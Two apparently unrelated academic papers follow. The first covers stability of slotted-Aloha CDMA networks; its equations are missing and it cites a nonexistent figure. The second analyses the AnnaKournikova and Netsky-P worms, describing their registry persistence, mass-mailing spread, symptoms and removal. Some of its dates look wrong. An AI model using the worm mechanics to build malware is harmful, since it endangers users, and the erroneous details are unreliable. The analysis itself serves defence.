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ABSTRACT 

This paper analyses the dynamic behaviour of wireless 
channels in multiple access communication networks. 
The dynamics refers to the stability behaviour of such 
networks. Direct sequence code division multiple access 
(DS/CDMA) is considered to be the signalling format 
and slotted-Aloha is used as the media access control 
protocol. Two evaluation methods are presented in detail 
to show how the dynamic behaviour of the wireless 
multiple access channels can be assessed. The first 
method is to use the First Exit Time (FET) that gives 
acceptable system performance of a network. The 
second method is to compute the expected drift as an 
indicator of the system dynamics. The results on 
dynamic performance of the systems are based on the 
physical layer characteristics, which include the bit error 
and packet error probabilities. The effect of multi-user 
interference resulting from the use of the DS/CDMA 
signals on the dynamic behaviour is included. Overall, 
the paper provides useful evaluation methods for 
understanding the performance and stability issues for 
multiple access communication networks.  
 
INTRODUCTION 
Code-division multiple-access (CDMA) has been chosen 
as the multiple -access signalling format for the third 
generation (3G) mobile systems and beyond [1]. In 
addition to the voice service, these systems will provide 
high data rate services, wireless packet transfer and other 
types of multimedia data. It is essential that these 
systems have efficient and fast access methods to serve 
the increased traffic demand. At the same time, it is 
becoming important to maintain the system stability with 
ever-increased traffic growth. 

 

The medium access control for the 3G systems and 
beyond is based on slotted Aloha [1]. The performance 
of the traditional slotted Aloha is well understood and a 
considerable body of literature devoted to such narrow-
band systems may be referenced. However, for 
broadband wireless access systems such as DS/CDMA 
systems that employ slotted Aloha, performance 
evaluation must consider CDMA and slotted Aloha in a 
combined manner. For example, in a traditional Aloha, it 
is simple to obtain the transition matrix of the blocked 
packets required for the analysis of dynamic behaviour. 
In contrast, for a DS/CDMA system that employs the 
slotted Aloha as the medium access control protocol, 
CDMA transitions can take place in a number of ways 
since there can be more than one packet allocated per 
time slot. Furthermore, the bit and packet error patterns 
of the radio channel are needed for the computation of 
the transition matrix. Calculation of these error patterns 
requires a considerable computational effort to achieve 
accurate results in the presence of multi-user interference 
encountered in CDMA [2]. 

 

This paper builds on previous investigations [2 - 4], 
which describe details of the bit error and the packet 
error computations in the physical layer. Computational 
methods are provided with emphasis on the dynamic 
behaviour of the channels. The objective of this work is 
to develop useful methods for analysis of the dynamic 
behaviour of multi-access channels in wireless systems 
using DS/CDMA and the slotted Aloha as a system 
example. The next section deals with the computation of 
channel throughput with related channel error statistics. 
The section following this describes a Markov model for 
the slotted Aloha CDMA system and derives a set of 
procedures for computing the FET. This is followed by a 
section devoted to the computation of the expected drift 
as an indicator of the system dynamics. Finally, overall 
conclusions and recommendations for further work are 
given.  
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THROUGHPUT AND CHANNEL ERROR 
CHARACTERISTICS 
 

Throughput 

The slotted Aloha is considered as the random access 
method for the DS/CDMA channel. The throughput is 
defined as the expected value of the number of 
successful packets transmitted in a slot. The input of the 
channel contains both newly generated packets at a rate 
of S packets per slot as well as retransmitted packets at a 
rate of R packets per slot. It is assumed that the new 
packets and retransmitted packets are Poisson 
distributed. The offered load is thus Poisson distributed 
with a rate of G = S + R packets per slot. When 
calculating the throughput, the channel is assumed to be 
stable and in an equilibrium state. Then the throughput 
rate is  S and all newly generated packets will be 
successfully transmitted within a finite time period. The 
throughput of the DS/CDMA slotted Aloha packet 
network has been derived in [5] and is given by 
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where G is the offered load, Qe(K) is the probability of 
packet success, discussed below, and K is the number of 
users in the system. The first term represents the 
throughput for a narrow-band slotted Aloha. The 
remaining terms represent the additional throughput 
resulting from the use of the DS/CDMA signalling. The 
accuracy of the throughput calculation depends on the 
accuracy of Qe(K ). This has been used to compute the 
throughput of the CDMA system with different 
spreading factors with an error correcting factor of 

10=t , as shown in Figure 1.  
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Figure 1: Throughput of a narrow band slotted Aloha 
and   
     wideband slotted Aloha CDMA with different 
spreading factors. 
 

This shows the throughput increases with the increase of 
the spreading factors. The parameter, SF, is the coding 
gain for a CDMA system, also known as the spreading 
factor. A higher value of SF normally yields a better 
system performance. For each curve, the throughput 
increases linearly against the offered load until it  reaches 
a peak, after which the increased load produces a 
decrease of the throughput. The offered load that 
corresponds to the peak throughput is defined here as the 
maximum load, Gm. This characteristic will be recalled 
later to define the state space for a Markov chain used in 
computing the dynamic performance of the system.  
 

Required channel statistics  

The packet success probability can be calculated using 
the error correcting factor, t, the spreading factor, SF, 
and the bit error probability, pe, and can be determined 
by first deriving the packet error probability. The 
calculation of the packet error rate depends only on the 
probability that a packet is in error. If one or more bits in 
a given packet are in error, then, of course, the whole 
packet is in error. There are two types of errors in a 
mobile propagation environment: a) a wrongly 
recognised packet and b) an unrecognised packet. These 
errors, however, can be reduced by adding bits to the 
basic coded packet to facilitate packet error detection 
and correction. If a packet of m bits length is coded by 
adding n bits, a new packet of (m + n) bits is formed. 
This has the capability of detection and correction of t 
errors. Different coding schemes have different error 
detection and correction capabilit ies. The packet error 
rate of a coded packet consisting of L = m + n bits, with 
t errors corrected is given by: 
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where L is the packet length, t is the error correcting 
capability and pe is the bit error probability that is a 
function of the number of users, K, and the spreading 
factor, SF. A detailed analysis of pe in the presence of 
multi-user interference of CDMA is beyond the scope of 
this paper but can be found in [2] and a simplified 
method for computation of  pe using an exact expression 
are available in [3]. It follows that the packet success 
probability is  
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Figure. 2 compares the bit error and packet success 
probabilities for two spreading factors, using the 
approach of [3] for a simplified and accurate calculation 
in the presence of interference, with an error correction 
parameter of 10=t . 
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Figure 2: Packet success probabilities with different 
spreading factors.  
 
It is evident that the packet success probability can be 
improved by increasing the spreading factor. It is 
important that the accuracy of the bit error probabilities 
and the packet success probabilities are maintained as 
this is necessary for computing the dynamic performance 
of the system. The throughputs that are dependent on 
these probabilities for SF = 32 and SF = 64 can be found 
in Figure 1. 
 
 
THE MARKOV MODEL 
 
This section uses a Markov model to calculate the FET 
that represents the expected duration of satisfactory 
channel operation. A step by step method is derived to 
compute the FET with the aid of previous calculations of 
the throughput, S, the bit error probability, pe , and the 
packet success probability, Qe(K). 
 
As previously stated, the slotted Aloha CDMA channel 
is taken as the system under study. The system is 
modelled as a discrete-time stochastic process {Xt}. A 
Markov model is then formulated for the population of 
the number of blocked packets. The system state is 
defined as the number of blocked packets in the system. 
Thus, Xt is the total number of blocked packets at the 
start of a time slot. Since the retransmission rate, R, 
depends on the blocked packets, X, the offered rate, G, 
depends on the current state of the system. According to 
the characteristics of the Markov chain, the offered load 
depends only on the current state of the system. The state 
transition probabilities of the Markov chain can then be 
written as  
 
     )ob(Pr 1, iXjXp ttji === +  (4) 

 
In order to calculate the state transition probabilities, the 
state space has to be determined. First the method of 
determining the stability of the system is described. Then 
the state space of the system is determined. The stability 
of the system is defined as the average first exit time 

(FET) of the channel into the unsafe region given an 
initial zero backlog size of the blocked packets. In other 
words, the FET represents the expected duration of 
satisfactory channel operation, or represents the duration 
before the system is totally saturated with all the packets 
being blocked. Computationally, the FET can be 
obtained by calculating the Markov time, T0. Then FET 
= T0 {CDMA access channel} slot times, where Ti,     (0≤ 
i ≤ nc, nc is the state space), is the solution of the 
equations: 
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Ti is the conditional expected first time for the size of the 
blocked packets to exceed nc , given an initial number of 
i blocked packets. To calculate the FET (i.e. T0), it is 
assumed that there are no blocked packets at the start of 
time slot, t = 0 (i.e. Xt=0 = 0). 
 
The state space, nc is now determined, using the 
approach described in [6]. Given a newly generated 
arrival rate, S, nc is the number of blocked packets above 
which the channel will become unstable. Since the 
channel is assumed to be stable and in an equilibrium 
state, S is  also the throughput that is related to X. For a 
given S, this throughput can achieve a maximum value at 
some value X = nc. From the throughput calculation, the 
maximum throughput at an offered load of G = Gm can 
be found. Since the offered load is the sum of the new 
arrival rate and the retransmission rate, i.e., G = S + R, it 
follows that for a given arrival rate, S, the throughput 
will become maximum at R = Gm – S. Thus, nc = Gm – S. 
The value of nc determines the threshold under which the 
stability is characterised. It can be seen that the channel 
is stable provided that the condition of X ≤ nc is met 
since at these values, an increase in X will produce an 
increase in throughput. However, for X > nc, an increase 
in X produces a decrease in throughput. Thus the FET 
calculated under the condition of X ≤ nc indicates the 
expected usable time of a system before it becomes 
unstable due to saturated packets. It is important to note 
that the FET is conditional on throughput. The FET 
calculation is summarised as follows. 
 
1) Obtain the channel BER (bit error rate) and the 

packet success probability. 
2) Find the offered load, Gm , that corresponds to the 

maximum throughput from the throughput curve. 
3) Select the newly generated arrival rate (S < Gm). 

Then     nc = Gm – S. 
4) Calculate the state transition probabilities, pi, j . 
5) Determine the FET (i.e., T0) using (5). 
 
Now expressions for the state transition probabilities, pi,j 
, of Xt , for i, j = 0, 1, 2, …, nc . These are derived in [6] 
and are as follows: 
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Here, l is the number of new packets and i and j are the 
number of backlogged packets in a given time slot. For j 
≥ i, m = j - i and for j < i, m = i – j.  S is the arrival rate 
and Qe(k) is the probability of packet success given i + l 
users. The stability of the network can be determined by 
computing the FET using (5) following the procedures 
outlined above. Figure 3 shows the result of the 
computation of Ti, the conditional expected first time for 
the size of the blocked packets to exceed nc, given an 
initial backlog size of i packets. 
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Figure 3: Expected first time  Ti. L = 640, SF = 32, t = 10, S 
= 7, nc = 9. 
This is for a specific arrival rate, S, and for i = 0, 1, 2, 
…, nc , given parameters values of L = 640, SF = 32 and 
t = 10. For these parameters, according to Figure 10, the 
throughput peaks at Gm = 16. Therefore, nc = Gm – S = 
9. To obtain T0 for various arrival rates, S, nc has to be 
re-calculated to satisfy the stability condition for each of 
these arrival rates. Figure 4 shows the computation of 
the FET (expressed as numbers of slot times) for two 
spreading factors of 32 and 64 and for      6 ≤ S ≤ 12. 
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Figure 4: First exit time for the slotted Aloha CDMA 
channel with 
          two spreading factors and error correction 
parameter, t = 10. 
 
This indicates a usable operating time for a system. For 
example, at S = 12, SF = 64, L = 1280, T0 = 1.85 × 106  
slot times. If the slot length is 0.625 ms as defined for 
WCDMA, the FET is only about 20 minutes. However, 
if the arrival rate is reduced to S = 8 with other 
parameters unaltered, T0 is increased to 1.2 × 1011 slot 
times. This is equivalent to about 2.38 years (868 days) 
of satisfactory channel operation. For SF = 32, T0 is 
significantly shorter, representing a deteriorated 
performance. This agrees with the theory that a shorter 
SF leads to a lower CDMA coding gain, and hence a 
worse performance.  
 

COMPUTING THE EXPECTED DRIFT  
 
It is interesting to compare the results of the stability 
analysis with different methods. Hence a second method 
will now be used to compute the expected drift from the 
state, i = 0,1,2, …, nc , as an indicator of the dynamics of 
the DS/CDMA channel. The expected drift is given by 
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where, as previously stated, nc is the state space and pi,j 
are the transition probabilities. These parameters and 
probabilities have been used to compute the FET in the 
previous section. Here, it will be shown that a graph of 
the expected drift can show how a system tends to move 
against its present state. If the expected drift is zero and 
the slope changes from positive to negative and is 
approximately linear; the state is referred to as a stable 
equilibrium point The system can also have unstable 
equilibrium points at values of i with zero drift and is 
indicated by the aforementioned slope changes being in 
the opposite sense to those for a stable equilibrium point. 
From (7) it is clear that d0 is positive and dnc is negative 
so that there is at least one state of i, where the expected 
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drift is at or near zero and has negative slope. This 
means that the system has at least one equilibrium point.  
 
It has been established from the previous section that 
according to the calculation of the FET, the system is 
usable for X ≤ nc. The system status can be verified by 
computing the expected drift versus its state i (i = 0, 1, 2, 
..., nc). Figure 5 shows graphs of the computed expected 
drift and the state occupation probability [7].  
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Figure 5: State occupation probability and expected drift 
for 
            nc = Gm – S, Gm = 26, S = 18 , L = 1280, t = 10 
and SF = 64.   
 
Since the expected drift curve starts at zero and 
decreases monotonically with the state number, the 
system is stable. This status can be compared with the 
FET calculation, where the maximum blocked number 
should not exceed 8 (Gm – S = 8). The state occupation 
probabilities are calculated from a set of linear 
simultaneous equations based on pi,j  [7]. 
 
The above calculation is based on nc ≤ Gm – S. For nc > 
Gm – S as in practical operations, the system may take on 
a different status. For example, if blocked packets are 
allowed with, nc = 30, at S = 10, SF = 64, L = 1280 and t 
= 10, the system will not be stable. Given these 
parameters, it is seen that from the throughput 
calculation (Figure 1, top curve), that the maximum 
number of blocked packets nc should not exceed 16, 
based on the relation of nc = Gm – S (26 - 10), otherwise 
the system will be unstable. The expected drift can be 
calculated to verify this behaviour. Figure 6 shows the 
expected drift using the above parameters. 
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Figure 6: State occupation probability and expected drift 
for nc up to Gm – S,  nc ≥ Gm – S, Gm = 26, S = 10, L = 
1280, t = 10 and SF = 64. 
 
It is seen that the system is not stable because the 
expected drift is not monotonically decreasing. For i ≤ 
16, however, the system can be regarded as stable, 
because the curve is monotonically decreasing for states 
up to i = 16. This can be compared with the FET 
computation (ref., Figure 4), where for S = 10 and Gm = 
26, nc = 16 so that the computation of the FET is valid. If 
the blocked packets exceed 16, the system will become 
unstable. This characteristic is also indicated in Figure 6, 
where the expected drift increases after the number of 
blocked packets exceed 16.  
 
Now the arrival rate will be increased further to S = 20 
packets and allow the number of blocked packets in the 
system to be 30. It is anticipated that the system is stable 
only for the blocked packets less than or equal to 6 (Gm –  
S = 26 – 20). The computation of the expected drift 
confirms that this is the case as shown in Figure 7.  
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Figure 7: State occupation probability and expected drift 
for  
nc ≤ Gm – S,  nc ≥ Gm – S, Gm = 26, S = 20, L = 1280, t = 10  
and S F = 64. 
 
This shows that for any system that allows the number of 
blocked packets to exceed 6, the system will become 
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unstable. Moreover, not only is the system is unstable, 
but it also oscillates. The system is theredore more 
severely blocked. 

The computation of the expected drift for the above 
cases suggests that the number of blocked packets in the 
system should be controlled. For example, some forms 
of admission control may be applied. Failure to do this 
may lead to unstable operation. 

  
OVERALL CONCLUSIONS AND 
RECOMMENDATIONS FOR FURTHER 
WORK 
 

The results presented in this paper have provided tools 
and models for evaluation of the dynamic behaviour of 
wireless multiple access channels using the slotted Aloha 
CDMA as a specific system example. The dynamic 
performance evaluation is conducted using two methods, 
the FET and the expected drift. The results suggest that 
for the slotted Aloha CDMA systems, it is possible that 
systems with improved channel error statistics and 
system stability can be achieved with the help of a 
number of controllable system parameters. This work 
may also be useful for system designers regarding load 
estimation of data information flows in setting up 
admission control for DS/CDMA systems in order to 
achieve high throughput whilst maintaining system 
stability.  
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ABSTRACT 
Computer worms and viruses have become key 
subjects traversing computing, business and 
political terrains. It appears that securing the 
weakest link does not suffice to curtail the 
strength of attacks. The quality of and 
vulnerabilities in software these days have 
availed computer worms the opportunity of 
exploitation. They utilise more sophisticated 
mechanisms and appear to be intelligent. 

In this paper, malicious programs are investigated and an 
analysis is made on two recent worms. The 
AnnaKournikova and Netsky worms are analysed for 
trends in malware activities. The worms are mass 
mailing in nature and written in Visual basic. The 
Payload exploits social engineering and thrives on 
inappropriate end-user practises. 

In contrast to the unidirectional approach proposed by 
antivirus vendor’s, we propose that a multidirectional 
approach be employed coupled with the expertise of an 
up-to-date administrator. Vulnerabilities in networks and 
the continual change in attack tactics by hackers 
dismisses the notion that methods and procedures will 
suffice. Legislation may not solve the problem on hand 
as vital milestones need be crossed for an average home-
user’s rights not to be abused.  

1.0 INTRODUCTION 
 
The potent and stealthy nature of viruses and Trojan 
horses in the Wild today calls for an undivided attention. 
Virus writing and its propagation could be a menace and 
could have different levels of effect on individuals, small 
and large-scale businesses. These effects mainly are loss 
in productivity, business funds, man-hour and most 
importantly data. The Love Letter virus resulted in 
damages worth approximately £5.6 million and the 
Melissa, £215 million [Neubauer and Harris 2002]. The 
Code Red worm has an estimate of £1.5 billion [Berguel 
2001]. Networks encourage and facilitate the sharing of 
data, resources, peripherals, and applications. This 
brings computer security under continued attacks. 

Alongside these, networks are vulnerable to hackers, 
sniffers, and malicious code writers. 
 
Computer viruses, worms and trojan horses may not 
always carry a malicious payload as it were- some 
viruses have benefits. The research work of Fred Cohen 
reveals that a compression virus could have benefits in 
saving space occupied by executables in an average 
operating system [Cohen 1984]. Also, computer viruses, 
worms and trojan horses are used extensively for 
research purposes in software testing and anti-virus 
research [Wikipedia 2004]. 
According to Russel and Gangemi’s assertion, logic 
bombs may be useful in ensuring payment in business 
dealings [Russel and Gangemi 1991]. 
 
 
2.0 MALICIOUS PROGRAMS 
 
Malicious programs can have two forms of existence: 
some can exist independently without a host (bacteria 
and worm) and others are dependent on a host (viruses , 
trojan horses, logic bombs, trap doors). This may not 
suggest that bacteria and worms that are capable of 
independent existence have human traits- they can be 
said to grow, move, possess some sensory abilities, 
reproduce themselves- they are pieces of code that are 
written, installed and executed.  

Going by the classification of Spafford, viruses have 
evolved. From the Simple First Generation viruses that 
did nothing but to replicate, the Self Recognition Second 
Generation viruses used signatures to signal that a file or 
system is infected; the Stealth Third Generation viruses 
hid themselves from detection, it subverted system 
service call interrupts when they are active; the 
Armoured Fourth Generation viruses use a confusing 
‘No Operation code, NOP’ in wh ich unnecessary code is 
added to a virus code to make it difficult to be detected 
by anti-virus software; the Polymorphic Fifth Generation 
viruses infect their targets by modifying themselves 
(through encryption) and a complex algorithm will be 
required to reverse the virus [Spafford 1994 cited in 
Pentzouris et al, 2002]. 

2.1 A COMPUTER VIRUS 
 
A Computer Virus is a piece of code that can infect other 
programs by modifying their code and thereby inflict a 
form of damage. These pieces of code may be malicious 
depending on the intent of their creation. According to 
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history, credit is given to David Gerrold as the first 
person to use the word ‘virus’ as a computer attacker in 
his series of short fictional G.O.D machine which is said 
to had evolved in a novel in 1972 called When Harlie 
Was One [Pentzouris et al, 2002] [Russel and Gangemi, 
1991]. An excerpt from the book reads: 

A computer infected with VIRUS would randomly dial 
the phone until it  found another computer. It would then 
break into that system and infect it with a copy of 
VIRUS. This program would infiltrate the system 
software and slow the system down so much that it 
became unusable (except to infect other machines) 
[Russel and Gangemi, 1991]. 

A typical algorithm of a virus proposed by Harley goes 
thus: 
begin 
      (Go resident) 
 
              if (infectable object exists)  
              then begin 
                      if (object is not already infected) 
           then (infect object) 
           endif;  
   endif; 
 
              if (trigger condition exists) 
              then (deliver payload) 
              endif; 
 
end 
[Harley, 2003] 
 
2.2 A COMPUTER WORM 
 
The concept of worm was first used in a 1975 science-
fiction novel, The Shockwave Rider by John Bruner. In 
the novel, programs called “tapeworms” spread from 
computers to computers in espionage and secrets 
exposure. Researchers at Xerox Palo Alto Research 
Centre, John Schoch and Jon Hupp, developed the first 
experimental worm programs as a research tool. They 
described a worm as thus: 

A worm is simply a computation which lives on one or 
more machines… 
The programs on individual computers are described as 
the segments of a worm… The segments in a worm 
remain in communication with each other; should one 
segment fail, the remaining pieces must find another free 
machine, initialize it, and add it to the worm. As 
segments (machines) join and then leave the 
computation, the worm itself seems to move through the 
network [Schoch and Hupp, 1980 cited in Russel and 
Gangemi, 1991]. 

Worms therefore are able to spread autonomously 
without human intervention compared to viruses that 
require a host and sometimes social engineering.  In this 
way, they are different from computer viruses. They 

thrive well in networks and will require a mailing facility 
and remote login and execution capabilities- malicious 
agents as they are called [Pentzouris et al, 2002]. 

2.3 A TROJAN HORSE 
 

Gordon and Chess define a trojan horse as a computer 
program with a useful or apparently a useful function but 
contains additional functions which the individual 
running the program would not expect and would not 
want. It hides and disguises under a program and 
performs a destructive function [Gordon and Chess 
1998]. A typical Trojan horse will do either of two 
things: 

 

1. Cause direct damage as soon as it is run. 
2. Perform a useful function in disguise but inserts 

damaging instructions into another executable 
file. 

Trojan horses are distinguished by their payload. Unlike 
computer viruses that stand out for their replicative 
properties, Trojan horses are non-replicative but may 
carry other malware types with replicative properties 
[Schweitwzer 2002]. The AOL4FREE.COM Trojan and 
the AOL4FREE virus hoax are examples of Trojans that 
use social engineering in stealing passwords from the 
computer illiterate user community.   

2.3.1 Other Malicious Programs  
 
As shown in figure 1, some malicious software may 
require a host program for propagation and some may 
not. Bacteria, logic bombs, spoofs, rabbits, crabs, 
creepers, and salamis are other types of malicious 
programs.  
 
 
3.0 ETHICAL AND LEGAL ISSUES 
 
Various issues have been discussed as regards the ethics 
associated with virus writing. Overgeneralization and 
stereotyping as discussed by Sarah Gordon pose a 
potential danger in complicating issues in tackling the 
virus problem [Gordon 1993] [Gordon 1994c]. There are 
different boundaries on age, gender, ethics, and 
motivation. The drive for virus writing stems from a 
desire to show superiority, revenge, affection, curiosity 
or rebellion [Schweitwzer 2002]. 
 
Issues on the effectiveness of laws in curtailing the virus 
problem have been in the spotlight. Issues on the lack of 
metrics used in measuring the effectiveness of laws have 
been discussed; the lack of cyber-crime laws in some 
developing Countries and the huge cost of deploying 
security are few among the problems at hand [London 
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1993] [Kelman 1997] [Barton and Nissanka 2003] 
[Nykodym and Taylor 2004] [Gordon 2004].  
 
 
4.0 ANALYSIS AND RESULTS 
 
A comparative study will reveal strengths in malware 
types, exploits and threats [Ricochet 2003]. The 
AnnaKournikova worm has a high propagation rate and 
the Netsky worm in the past 16 months of June 2005 has 
been the most prevalent in the Wild [Trend1] [Trend2]. 
A virus being in the Wild is not synonymous with how 
common it is  rather, the ratio of its death rate to its birth 
rate. In this scenario, it will be discovered that the birth 
rate is higher than its death rate. Hence, has a high 

prevalence. This does not suggest an epidemic, as other 
determining factors are not considered. 
 
 
4.1 Features of the AnnaKournikova and the Netsky 
worm 
 
For ease of analysis, the Netsky-P worm will be 
analysed as there are many variants with different 
payload routines and not all are currently in the Wild. 
The Netsky-p variant is in the Wild on most websites 
visited. Other websites visited that are not in the list 
above are included in the list of references as ‘Other 
Websites for Netsky-P’.  

 
AnnaKournikova Netsky-P 
General Overview 
The Author is nicknamed ‘On the Fly’ is believed 
to be a 20-year old man from the Netherlands. It 
is believed that the writer later surrendered 
himself to the police [Delio 2001]. 
 
The script was released in February 2000 and is 
believed to be created by a worm-generating tool. 
 
 
It performs no particular damage but may clog 
mail-servers. More widespread than the Melissa 
but less than the Love Bug, the worm came and 
went quickly but disrupted businesses worldwide 
[Ernest 2001]. 
 
The source code was accessible. It is a Visual 
Basic scripts. This is contained in the Appendix. 
 
 
 
Description 
It is a mass-mailing worm and a WIN32 worm 
that uses MAPI messaging in sending an email to 
all addresses in Microsoft Outlook address book. 
It uses encryption to avoid detection by anti-virus 
software. It has the following description: 
 
 
 
 
 
 
Subject: Here you have, ;o) 
 
Body: 
Hi: 
Check This! 
 
 
 
 
 
 

General Overview 
The Author is believed to be an 18-year old 
German, Sven Jaschan. Although, the numerous 
variants of the worm makes it difficult to separate 
the ‘copycat’ from the actual author. The author is 
believed to be hired by a security firm and 
awaiting trial [CNET04]. 
 
The script for this worm was released in March 
2001. 
 
It causes unexpected network traffic which can 
clog a server. It is capable of modifying the 
system registry and generating unusual system 
behaviour.   
 
The source code was inaccessible but could be 
accessed in BBS newsgroups. Like the 
AnnaKournikova, it is a Visual Basic scripts. 
 
Description 
Like AnnaKournikova, it is mass mailing but 
sophisticated. It spreads itself inside a dropper, 
this serves to extract the worm’s script to a 
targeted location. It spreads itself to addresses 
harvested from files of the host system using its 
built-in SMTP engine. Enhanced by its SMTP 
engine, an incorrect MIME Header vulnerability, 
and social engineering, its propagation strength is 
maximised. It does not use encryption. 
 
Subject: Mail Delivery (failure <recipient 
address>) 
Body: If the message will not display 
automatically,  
follow the link to read the delivered message.  
Received message is available at:  
www.<recipient domain>/inbox/<recipient 
name>/read.php?sessionid-<random number>  
 
Attachment: message.scr  
The attachment’s size is 29,568 bytes (.EXE) or 
26,624 bytes (.DLL). 
There are many ‘Subjects’, ‘Body’ and 
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Attachment: It has the name, 
AnnaKournikova.jpg.vbs and a size of 2,853 
bytes. 
 
 
Payload 
Users are lured to open the attachment. When this 
occurs, and that day’s date is January 26, the 
worm links the user’s browser to an Internet 
address in the Netherlands. 
 
Also Known As: 
VBS.Vbswg.gen, VBS/VBSWG.J@MM, Anna, 
On the Fly, VBS/SST@MM, Anna Kournikova, 
Kalamar.A, Calamar, 
 
 
 
Systems at Risk 
Windows 95, Windows 98, Windows NT, 
Windows 2000, Windows XP, Windows Me. It 
excludes Macintosh, UNIX, and Linux. 
 
 
 
What does the Script do? 
The following provides an itemised action that 
occurs: 

1. It opens a Windows Shell. 
2. Using the Shell, it writes to the Windows 

Registry by creating a Registry key. 
3. It creates an object in the machine of the 

host and appends itself to it. 
4. If the mass mailing routine has been 

executed, it sets a key value of “1” to 
prevent a repeat routine. 

5. The worm continues running, if it is 
deleted, it attempts a repeat routine. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

‘Attachment types.  
 
Payload 
Upon execution by the user, it creates certain 
files, copies itself to some files, and deletes some 
registry details.  
 
 
Also Known As: 
W.32.Netsky.Q@mm, W32/Netsky.p@MM, 
WORM_NETSKY.P, NetSky.P, 
W32/Netsky.P@MM, W32/MyDoom.BK@mm, 
I-Worm.Netsky.q, Netsky.q 
 
Systems at Risk 
Windows 95, Windows 98, Windows NT, 
Windows 2000, Windows XP, Windows Me, 
Windows NT, Windows Server 2003. It excludes 
DOS, Linux, Macintosh, OS/2, and UNIX. 
 
What does the Script do? 
The under-listed gives a picture of its actions: 

1. Installs itself to a host system as 
FVProtect.exe. It adds the following 
registry entry to run itself: 

HKLM\Software\Microsoft\ 
Windows\CurrentVersion\ 
Run\NortonAntivirusAV= 
<Windows>\FVProtect.exe  
2. Scans all drives to collect e-mail 

addresses and sends itself. It avoids 
certain e-mail types. It uses the 
DNSQuery API from the DNSAPI.DLL 
library. Otherwise, it invokes 
GetNetworkParams API from 
IPHLPAPI.DLL library.  

3. The MESSAGE.SCR component in its 
attachment (enhanced by an 
IFrame_Exploit) enables the worm 
spread to LAN and P2P networks, FTP 
and HTTP folders. 

4. It copies itself several times. 
5. It deletes certain registry files. Some of 

the Bagle worm variants. 
6. It may display an insulting message to 

the author of the Bagle worm.  
      And it may create some TMP   
      files in the Windows folder-    
      zip1.tmp, zipped.tmp,   
      base64.tmp.  

 
Symptoms of Infection 
Unusual system behaviour and the receiving of 
unsolicited mails are likely symptoms. 
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Symptoms of Infection 
This varies across systems and its variant: 

1. Contacts receiving unsolicited mails that 
contain the worm. 

2. The presence of the file “c:\ WINDOWS\ 
AnnaKournikova.jpg.vbs” 

3. The presence of the registry key: 
HKEY_USERS\.DEFAULT\ 

      Software\OnTheFly. 
 
 
Removal Procedure 

• Delete any VBS.SST@mm or its 
variants. 

• An updated anti-virus possessing 
signature for it may be used to detect and 
remove it. 

• A user may navigate to and delete the 
file, HKEY_USERS\.DEFAULT\ 

      Software\ OnTheFly in the     
      Registry. Only an experienced  
      user is advised to. A backup  
      may be necessary before a  
      editing the registry.  
 

Protection 
• Avoid opening any attachment with the 

title AnnaKournikova.jpg.vbs (2KB). 
• Use anti-virus software. 
• Disable the execution of VBS files. 

 
 
 
 
Removal Procedure 

• Disable System Restore, for Windows 
Me and XP. 

• Update Virus definitions. 
• Restart computer in Safe or VGA mode. 
• Otherwise, open the Task Manager using 

CTRL+ALT+DELETE keys.  
• Locate and delete files detected as 

W32.Netsky.P@mm 
• Delete values that were added to the 

registry. 
• As an alternative, anti-virus software 

may be used. 
 
Protection 

• Avoid opening unexpected attachments. 
• Ensure anti-virus software and patches 

are up-to-date. 
• Always turn off or remove unneeded 

services, such as FTP server, telnet 
which are installed by default. 

• Properly configure the email server. 
• Ensure safe user practices. 

Table 1: Features of the AnnaKournikova and Netsky Worm. 
 
 
4.2 Observation 
 

It was observed that both worms are mailing worms and 
written in Visual Basic. The Netsky.P worm in particular 
is a mass mailing worm. This implies that it uses a more 
sophisticated mechanism to spread. The built-in SMTP 
gives it a high distribution power. 

Both worms use attachments to lure and infect their host 
machines. This captures the authors understanding of 
trends in data exchange and the vulnerabilities therein. 
Social Engineering is engaged strongly with the Netsky 
worm as it uses day-to-day mail languages and thrives 
on the ignorance and care-freeness of users. Its 
intelligence gives it a choice of deciding who and who 
not to infect.  

The systems mostly affected are Windows-based. 

4.3 Trends 
 

Visual Basic has been identified to being a simple but 
powerful macro language used by programmers. It 
provides access to Windows API and allows instant 
messaging [Imafidon and Gachanga, 2005]. 
Programmers will exploit these vulnerabilities 
irrespective of the anti-virus solutions available. They 
spread using legitimate sources, via e-mail contacts as 
thus it will be difficult to detect. Presently, there are 
protective measures but it cannot be predicted the pattern 
of infection for the next variant. It may avoid installing 
itself into the registry. The social adaptation of the worm 
writers portrays a thorough understanding of user 
practises. Little wonder –believing the report is true- that 
an anti-virus firm will employ Sven Jaschan. This 
buttresses some of the issues raised earlier on The 
Position of Full Disclosure. While this action may sound 
unethical, it may nonetheless persist on the virus writing 
scene [CNET04]. 

The role of legal jurisdiction appears on both instances 
but may not be keen on making prosecutions. Some laws 
may need review as the age of the virus writer may stand 
a hindrance in some Countries. Various laws that protect 
young teenagers and young adults may be reconsidered 
under the light of the damage caused.  
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5.0 A PRO-ACTIVE APPROACH TO NETWORK 
SECURITY 
 

Network security components like firewalls, antivirus 
programs and intrusion detection systems are known not 
to deal adequately with malicious attacks [Sequeira 
2002]. Anti-virus programs on their own are limited 
since their capabilities depend on the collection of the 
virus signatures available. The time lapse between the 
time of discovery of a new virus and updating the 
database makes them inefficient [Zenkin 2001b]. 

Firewall on the other hand can block traffic, acting as a 
barrier between the corporate (internal) network and the 
outside world (internet) can filter incoming traffic based 
on a corporate security policy [Bace 1999]. These 
exceptions to traffic that is allowed makes the network 
vulnerable to exploits and open to malware [Sequeira 
2002]. Bace has identified several ways firewalls have 
proved not to be adequate [Bace 1999]. 

A proactive approach may be employed integrating 
several security components coupled with the expertise 
of an up-to-date administrator. Nazzal has identified the 
combination of the following as been effective: 
perimeter security, internal behavioural surveillance 
protection, policy enforcement and training, 
vulnerability assessment solutions and other reactive 
techniques. This demands an intense negotiation 
between security and accessibility and security and 
annoyance [Nazzal 2005]. Other models have also been 
proposed earlier [Bace 1999] [Sequeira 2002].   

The digital Immune system developed by IBM is 
promising and is believed to curtail the virus problem 
[Gordon 1995]. 

On issues that concern the law, Pounder pushes 3 points 
to achieve a co-ordinated public-private partnership: 

1. Firms should secure their networks 
2. Governments must review laws. 
3. Issues of Jurisdiction must be resolved between 

member states. [Pounder 2001] 

The law may not be a remedy without a co-ordinated and 
unified approach to tackling the problems poised by 
malicious programs; the oversight and sometimes 
neglect practised by software vendors in ensuring high 
software standards [Landwehr et al 1994]. All 
information technology stakeholders need to involve 
more  team spirit in this never-ending battle. 
